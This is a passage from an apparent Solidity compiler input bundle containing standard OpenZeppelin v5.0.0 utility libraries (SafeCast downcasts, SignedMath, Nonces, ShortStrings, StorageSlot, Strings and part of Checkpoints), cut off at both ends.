(when the input is less than smallest int184 or\n * greater than largest int184).\n *\n * Counterpart to Solidity's `int184` operator.\n *\n * Requirements:\n *\n * - input must fit into 184 bits\n */\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\n downcasted = int184(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(184, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int176 from int256, reverting on\n * overflow (when the input is less than smallest int176 or\n * greater than largest int176).\n *\n * Counterpart to Solidity's `int176` operator.\n *\n * Requirements:\n *\n * - input must fit into 176 bits\n */\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\n downcasted = int176(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(176, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int168 from int256, reverting on\n * overflow (when the input is less than smallest int168 or\n * greater than largest int168).\n *\n * Counterpart to Solidity's `int168` operator.\n *\n * Requirements:\n *\n * - input must fit into 168 bits\n */\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\n downcasted = int168(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(168, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int160 from int256, reverting on\n * overflow (when the input is less than smallest int160 or\n * greater than largest int160).\n *\n * Counterpart to Solidity's `int160` operator.\n *\n * Requirements:\n *\n * - input must fit into 160 bits\n */\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\n downcasted = int160(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(160, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int152 from int256, reverting on\n * overflow (when the input is less than smallest int152 or\n * greater than largest int152).\n *\n * Counterpart to Solidity's `int152` operator.\n *\n * Requirements:\n *\n * - input must fit into 152 bits\n */\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\n downcasted = int152(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(152, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int144 from int256, reverting on\n * overflow (when the input is less than smallest int144 or\n * greater than largest int144).\n *\n * Counterpart to Solidity's `int144` operator.\n *\n * Requirements:\n *\n * - input must fit into 144 bits\n */\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\n downcasted = int144(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(144, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int136 from int256, reverting on\n * overflow (when the input is less than smallest int136 or\n * greater than largest int136).\n *\n * Counterpart to Solidity's `int136` operator.\n *\n * Requirements:\n *\n * - input must fit into 136 bits\n */\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\n downcasted = int136(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(136, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int128 from int256, reverting on\n * overflow (when the input is less than smallest int128 or\n * greater than largest int128).\n *\n * Counterpart to Solidity's `int128` operator.\n *\n * Requirements:\n *\n * - input must fit into 128 bits\n */\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\n downcasted = int128(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(128, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int120 from int256, reverting on\n * overflow (when the input is less than smallest int120 or\n * greater than largest int120).\n *\n * Counterpart to Solidity's `int120` operator.\n *\n * Requirements:\n *\n * - input must fit into 120 bits\n */\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\n downcasted = int120(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(120, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int112 from int256, reverting on\n * overflow (when the input is less than smallest int112 or\n * greater than largest int112).\n *\n * Counterpart to Solidity's `int112` operator.\n *\n * Requirements:\n *\n * - input must fit into 112 bits\n */\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\n downcasted = int112(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(112, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int104 from int256, reverting on\n * overflow (when the input is less than smallest int104 or\n * greater than largest int104).\n *\n * Counterpart to Solidity's `int104` operator.\n *\n * Requirements:\n *\n * - input must fit into 104 bits\n */\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\n downcasted = int104(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(104, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int96 from int256, reverting on\n * overflow (when the input is less than smallest int96 or\n * greater than largest int96).\n *\n * Counterpart to Solidity's `int96` operator.\n *\n * Requirements:\n *\n * - input must fit into 96 bits\n */\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\n downcasted = int96(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(96, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int88 from int256, reverting on\n * overflow (when the input is less than smallest int88 or\n * greater than largest int88).\n *\n * Counterpart to Solidity's `int88` operator.\n *\n * Requirements:\n *\n * - input must fit into 88 bits\n */\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\n downcasted = int88(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(88, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int80 from int256, reverting on\n * overflow (when the input is less than smallest int80 or\n * greater than largest int80).\n *\n * Counterpart to Solidity's `int80` operator.\n *\n * Requirements:\n *\n * - input must fit into 80 bits\n */\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\n downcasted = int80(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(80, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int72 from int256, reverting on\n * overflow (when the input is less than smallest int72 or\n * greater than largest int72).\n *\n * Counterpart to Solidity's `int72` operator.\n *\n * Requirements:\n *\n * - input must fit into 72 bits\n */\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\n downcasted = int72(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(72, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int64 from int256, reverting on\n * overflow (when the input is less than smallest int64 or\n * greater than largest int64).\n *\n * Counterpart to Solidity's `int64` operator.\n *\n * Requirements:\n *\n * - input must fit into 64 bits\n */\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\n downcasted = int64(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(64, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int56 from int256, reverting on\n * overflow (when the input is less than smallest int56 or\n * greater than largest int56).\n *\n * Counterpart to Solidity's `int56` operator.\n *\n * Requirements:\n *\n * - input must fit into 56 bits\n */\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\n downcasted = int56(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(56, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int48 from int256, reverting on\n * overflow (when the input is less than smallest int48 or\n * greater than largest int48).\n *\n * Counterpart to Solidity's `int48` operator.\n *\n * Requirements:\n *\n * - input must fit into 48 bits\n */\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\n downcasted = int48(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(48, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int40 from int256, reverting on\n * overflow (when the input is less than smallest int40 or\n * greater than largest int40).\n *\n * Counterpart to Solidity's `int40` operator.\n *\n * Requirements:\n *\n * - input must fit into 40 bits\n */\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\n downcasted = int40(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(40, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int32 from int256, reverting on\n * overflow (when the input is less than smallest int32 or\n * greater than largest int32).\n *\n * Counterpart to Solidity's `int32` operator.\n *\n * Requirements:\n *\n * - input must fit into 32 bits\n */\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\n downcasted = int32(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(32, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int24 from int256, reverting on\n * overflow (when the input is less than smallest int24 or\n * greater than largest int24).\n *\n * Counterpart to Solidity's `int24` operator.\n *\n * Requirements:\n *\n * - input must fit into 24 bits\n */\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\n downcasted = int24(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(24, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int16 from int256, reverting on\n * overflow (when the input is less than smallest int16 or\n * greater than largest int16).\n *\n * Counterpart to Solidity's `int16` operator.\n *\n * Requirements:\n *\n * - input must fit into 16 bits\n */\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\n downcasted = int16(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(16, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int8 from int256, reverting on\n * overflow (when the input is less than smallest int8 or\n * greater than largest int8).\n *\n * Counterpart to Solidity's `int8` operator.\n *\n * Requirements:\n *\n * - input must fit into 8 bits\n */\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\n downcasted = int8(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(8, value);\n }\n }\n\n /**\n * @dev Converts an unsigned uint256 into a signed int256.\n *\n * Requirements:\n *\n * - input must be less than or equal to maxInt256.\n */\n function toInt256(uint256 value) internal pure returns (int256) {\n // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\n if (value > uint256(type(int256).max)) {\n revert SafeCastOverflowedUintToInt(value);\n }\n return int256(value);\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/SignedMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Nonces.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides tracking nonces for addresses. Nonces will only increment.\n */\nabstract contract Nonces {\n /**\n * @dev The nonce used for an `account` is not the expected current nonce.\n */\n error InvalidAccountNonce(address account, uint256 currentNonce);\n\n mapping(address account => uint256) private _nonces;\n\n /**\n * @dev Returns the next unused nonce for an address.\n */\n function nonces(address owner) public view virtual returns (uint256) {\n return _nonces[owner];\n }\n\n /**\n * @dev Consumes a nonce.\n *\n * Returns the current value and increments nonce.\n */\n function _useNonce(address owner) internal virtual returns (uint256) {\n // For each account, the nonce has an initial value of 0, can only be incremented by one, and cannot be\n // decremented or reset. This guarantees that the nonce never overflows.\n unchecked {\n // It is important to do x++ and not ++x here.\n return _nonces[owner]++;\n }\n }\n\n /**\n * @dev Same as {_useNonce} but checking that `nonce` is the next valid for `owner`.\n */\n function _useCheckedNonce(address owner, uint256 nonce) internal virtual {\n uint256 current = _useNonce(owner);\n if (nonce != current) {\n revert InvalidAccountNonce(owner, current);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/ShortStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/ShortStrings.sol)\n\npragma solidity ^0.8.20;\n\nimport {StorageSlot} from \"./StorageSlot.sol\";\n\n// | string | 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |\n// | length | 0x BB |\ntype ShortString is bytes32;\n\n/**\n * @dev This library provides functions to convert short memory strings\n * into a `ShortString` type that can be used as an immutable variable.\n *\n * Strings of arbitrary length can be optimized using this library if\n * they are short enough (up to 31 bytes) by packing them with their\n * length (1 byte) in a single EVM word (32 bytes). Additionally, a\n * fallback mechanism can be used for every other case.\n *\n * Usage example:\n *\n * ```solidity\n * contract Named {\n * using ShortStrings for *;\n *\n * ShortString private immutable _name;\n * string private _nameFallback;\n *\n * constructor(string memory contractName) {\n * _name = contractName.toShortStringWithFallback(_nameFallback);\n * }\n *\n * function name() external view returns (string memory) {\n * return _name.toStringWithFallback(_nameFallback);\n * }\n * }\n * ```\n */\nlibrary ShortStrings {\n // Used as an identifier for strings longer than 31 bytes.\n bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n error InvalidShortString();\n\n /**\n * @dev Encode a string of at most 31 chars into a `ShortString`.\n *\n * This will trigger a `StringTooLong` error is the input string is too long.\n */\n function toShortString(string memory str) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n /**\n * @dev Decode a `ShortString` back to a \"normal\" string.\n */\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n // using `new string(len)` would work locally but is not memory safe.\n string memory str = new string(32);\n /// @solidity memory-safe-assembly\n assembly {\n mstore(str, len)\n mstore(add(str, 0x20), sstr)\n }\n return str;\n }\n\n /**\n * @dev Return the length of a `ShortString`.\n */\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n if (result > 31) {\n revert InvalidShortString();\n }\n return result;\n }\n\n /**\n * @dev Encode a string into a `ShortString`, or write it to storage if it is too long.\n */\n function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n return ShortString.wrap(FALLBACK_SENTINEL);\n }\n }\n\n /**\n * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.\n */\n function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n /**\n * @dev Return the length of a string that was encoded to `ShortString` or written to storage using\n * {setWithFallback}.\n *\n * WARNING: This will return the \"byte length\" of the string. This may not reflect the actual length in terms of\n * actual characters as the UTF-8 encoding of a single character can span over multiple bytes.\n */\n function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/StorageSlot.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(newImplementation.code.length > 0);\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` with member `value` located at `slot`.\n */\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n */\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` with member `value` located at `slot`.\n */\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n */\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Strings.sol)\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"./math/Math.sol\";\nimport {SignedMath} from \"./math/SignedMath.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n uint8 private constant ADDRESS_LENGTH = 20;\n\n /**\n * @dev The `value` string doesn't fit in the specified `length`.\n */\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toStringSigned(int256 value) internal pure returns (string memory) {\n return string.concat(value < 0 ? \"-\" : \"\", toString(SignedMath.abs(value)));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n uint256 localValue = value;\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n localValue >>= 4;\n }\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal\n * representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"@openzeppelin/contracts/utils/structs/Checkpoints.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/structs/Checkpoints.sol)\n// This file was procedurally generated from scripts/generate/templates/Checkpoints.js.\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"../math/Math.sol\";\n\n/**\n * @dev This library defines the `Trace*` struct, for checkpointing values as they change at different points in\n * time, and later looking up past values by block number. See {Votes} as an example.\n *\n * To create a history of checkpoints define a variable type `Checkpoints.Trace*` in your contract, and store a new\n * checkpoint for the current transaction block using the {push} function.\n */\nlibrary Checkpoints {\n /**\n * @dev A value was attempted to be inserted on a past checkpoint.\n */\n error CheckpointUnorderedInsertion();\n\n struct Trace224 {\n Checkpoint224[] _checkpoints;\n }\n\n struct Checkpoint224 {\n uint32 _key;\n uint224 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace224 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n *\n * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint32).max` key set will disable the\n * library.\n */\n function push(Trace224 storage self, uint32 key, uint224 value) internal returns (uint224, uint224) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if\n * there is none.\n */\n function lowerLookup(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n */\n function upperLookup(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n *\n * NOTE: This is a variant of {upperLookup} that is optimised to find \"recent\" checkpoint (checkpoints with high\n * keys).\n */\n function upperLookupRecent(Trace224 storage self, uint32 key) internal view returns (uint224) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace224 storage self) internal view returns (uint224) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace224 storage self) internal view returns (bool exists, uint32 _key, uint224 _value) {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint224 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace224 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Returns checkpoint at given position.\n */\n function at(Trace224 storage self, uint32 pos) internal view returns (Checkpoint224 memory) {\n return self._checkpoints[pos];\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint,\n * or by updating the last one.\n */\n function _insert(Checkpoint224[] storage self, uint32 key, uint224 value) private returns (uint224, uint224) {\n uint256 pos = self.length;\n\n if (pos > 0) {\n // Copying to memory is important here.\n Checkpoint224 memory last = _unsafeAccess(self, pos - 1);\n\n // Checkpoint keys must be non-decreasing.\n if (last._key > key) {\n revert CheckpointUnorderedInsertion();\n }\n\n // Update or push new checkpoint\n if (last._key == key) {\n _unsafeAccess(self, pos - 1)._value = value;\n } else {\n self.push(Checkpoint224({_key: key, _value: value}));\n }\n return (last._value, value);\n } else {\n self.push(Checkpoint224({_key: key, _value: value}));\n return (0, value);\n }\n }\n\n /**\n * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high`\n * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive\n * `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _upperBinaryLookup(\n Checkpoint224[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key > key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n return high;\n }\n\n /**\n * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or\n * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and\n * exclusive `high`.\n *\n * WARNING: `high` should not be greater than the array's length.\n */\n function _lowerBinaryLookup(\n Checkpoint224[] storage self,\n uint32 key,\n uint256 low,\n uint256 high\n ) private view returns (uint256) {\n while (low < high) {\n uint256 mid = Math.average(low, high);\n if (_unsafeAccess(self, mid)._key < key) {\n low = mid + 1;\n } else {\n high = mid;\n }\n }\n return high;\n }\n\n /**\n * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds.\n */\n function _unsafeAccess(\n Checkpoint224[] storage self,\n uint256 pos\n ) private pure returns (Checkpoint224 storage result) {\n assembly {\n mstore(0, self.slot)\n result.slot := add(keccak256(0, 0x20), pos)\n }\n }\n\n struct Trace208 {\n Checkpoint208[] _checkpoints;\n }\n\n struct Checkpoint208 {\n uint48 _key;\n uint208 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace208 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n *\n * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint48).max` key set will disable the\n * library.\n */\n function push(Trace208 storage self, uint48 key, uint208 value) internal returns (uint208, uint208) {\n return _insert(self._checkpoints, key, value);\n }\n\n /**\n * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if\n * there is none.\n */\n function lowerLookup(Trace208 storage self, uint48 key) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len);\n return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n */\n function upperLookup(Trace208 storage self, uint48 key) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len);\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero\n * if there is none.\n *\n * NOTE: This is a variant of {upperLookup} that is optimised to find \"recent\" checkpoint (checkpoints with high\n * keys).\n */\n function upperLookupRecent(Trace208 storage self, uint48 key) internal view returns (uint208) {\n uint256 len = self._checkpoints.length;\n\n uint256 low = 0;\n uint256 high = len;\n\n if (len > 5) {\n uint256 mid = len - Math.sqrt(len);\n if (key < _unsafeAccess(self._checkpoints, mid)._key) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high);\n\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints.\n */\n function latest(Trace208 storage self) internal view returns (uint208) {\n uint256 pos = self._checkpoints.length;\n return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value;\n }\n\n /**\n * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value\n * in the most recent checkpoint.\n */\n function latestCheckpoint(Trace208 storage self) internal view returns (bool exists, uint48 _key, uint208 _value) {\n uint256 pos = self._checkpoints.length;\n if (pos == 0) {\n return (false, 0, 0);\n } else {\n Checkpoint208 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1);\n return (true, ckpt._key, ckpt._value);\n }\n }\n\n /**\n * @dev Returns the number of checkpoint.\n */\n function length(Trace208 storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n /**\n * @dev Returns checkpoint at given position.\n */\n function at(Trace208 storage self, uint32 pos) internal view returns (Checkpoint208 memory) {\n return self._checkpoints[pos];\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by 